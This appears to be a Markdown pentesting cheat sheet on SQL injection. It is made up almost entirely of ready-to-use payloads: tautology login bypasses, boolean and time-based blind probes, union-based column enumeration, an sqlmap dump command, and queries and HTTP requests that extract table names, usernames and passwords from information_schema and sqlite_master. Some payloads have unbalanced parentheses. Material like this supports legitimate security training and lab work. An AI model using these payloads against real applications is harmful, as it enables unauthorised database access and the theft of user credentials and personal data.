141 lines
4.6 KiB
Markdown
141 lines
4.6 KiB
Markdown
# SQL Injection
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* [MySQL Comments](https://blog.raw.pm/en/sql-injection-mysql-comment/)
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## Finding an Opportunity
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* GET parameter
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```sh
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http://example.com/index.php?id=' or 1=1 -- -
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```
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* Sometimes an ID or may come first
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```sh
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http://example.com/index.php?id=10 or 1=1 -- +
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http://example.com/index.php?id=10' or '1'='1'-- -
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http://example.com/index.php?id=-1' or 1=1 -- -&password=x
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```
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* Provoke error to gain information
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```sh
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http://example.com/index.php?id='
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```
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* **Incase of client side sanitization craft the URL instead of using the form!!!**
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## Usage
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* Example, terminate string via `'` and resolve via tautology, comment the rest of the string via `--`
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```sql
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SELECT * FROM users WHERE username = admin AND password := ' and 1=1 -- -
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SELECT * FROM users WHERE username = admin AND password := ' or 1=1 --+
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```
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### Boolean True and False
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```sql
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SELECT * FROM users WHERE username = admin AND password :=1' or 1 < 2 --+
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SELECT * FROM users WHERE username = admin AND password :=1' or 1 > 2 --+
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```
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* Blind boolean base substring fuzzing, one char at a time, by inspecting the return value after each inserted char.
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```sql
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' UNION SELECT null,null,null where database() like 'da%';-- -
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```
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### Time based
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* Checking input blindly via sleep() function. Count number of cols in this way. If it is successful, the sleep(5) function executes
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```sql
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' union select sleep(3), null; -- -
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```
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### Blind injection // Guessing characters
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```sh
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http://example.com/?id=1' and substr((select database()),1,1) < 105 --+
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```
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```sh
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http://example.com/?id=1' and (ascii(substr((select database(),1,1)) = 115 --+
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```
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* Function substr(string, start, length)
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* sqlmap via `--level=5 --risk=3 --dbms=sqlite --technique=b --dump`
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### Union based
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* _First method__ check by order until error occurs
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```sql
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' order by 1 -- -
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' order by 2 -- -
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' order by 3 -- -
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```
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* __Second method__ fuzzing NULL values, followed by fuzzing data types
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* Check number of cols
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```sql
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' UNION SELECT NULL--
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' UNION SELECT NULL,NULL--
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' UNION SELECT NULL,NULL,NULL--
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# until the error occurs
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```
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* Check which one is a string
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```sql
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' UNION SELECT 'a',NULL,NULL,NULL--
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' UNION SELECT NULL,'a',NULL,NULL--
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' UNION SELECT NULL,NULL,'a',NULL--
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' UNION SELECT NULL,NULL,NULL,'a'--
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```
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* Retrieve content, for cols and comment two times as an example. Or dump database
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```sql
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' UNION SELECT NULL,NULL,database(),NULL,NULL from users -- //
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' UNION SELECT NULL,username,password,NULL FROM users -- //
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```
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* Retrieve content by union poking the count and order, afterwards extracting tables via
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```sh
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0 union select null, null, database()
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0 union select null, null, group_concat(table_name) from information_schema.tables where table_schema = 'found_db'
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0 union select null, null, group_concat(column_name) from information_schema.columns where table_name = 'found_tablename'
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0 union select null, null, group_concat(username, ':', password from found_tablename
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```
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* [OWASP SQLi Docs](https://www.owasp.org/index.php/SQL_Injection)
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### Identify Database
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```sh
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id=sqlite_version()
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id=@@version # mysql/mssql
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id=(SELECT banner FROM v$version) # oracle
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```
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#### SQL Functions
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* Use sql functions to fumble the tables & cols via union
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* [source](https://medium.com/@nyomanpradipta120/sql-injection-union-attack-9c10de1a5635)
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* Extract tables
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```sql
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1' and 1=2 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema = database() -- -
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```
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* sqlite specific
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```sql
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' UNION SELECT sql, sql FROM sqlite_master -- -
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```
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```sql
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(SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='usertable')
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(SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%')
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```
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* Extract cols
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```sh
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1' and 1=2 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema = database() and table_name ='user'-- -
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```
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* Data from cols
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```sql
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1' and 1=2 union select 1,group_concat(username,0x3a,password),3,4 from user-- -
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```
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### Examples
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* sqli inside HTTP request to an API. Five values inside select have been discovered before
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```HTTP
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GET /about/0 UNION select column_name, null,null,null,null from information_schema.columns where table_name = 'user' HTTP/1.1
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```
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* Get col names
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```HTTP
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GET /about/0 UNION all select group_concat(column_name), null,null,null,null from information_schema.columns where table_name = 'user' HTTP/1.1
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```
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* Get notes from users by id
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```HTTP
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GET /about/0 UNION all select notes, null, null, null, null from users where id = 4711 HTTP/1.1
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```
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## Payloads
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* [List](https://github.com/payloadbox/sql-injection-payload-list#generic-sql-injection-payloads)
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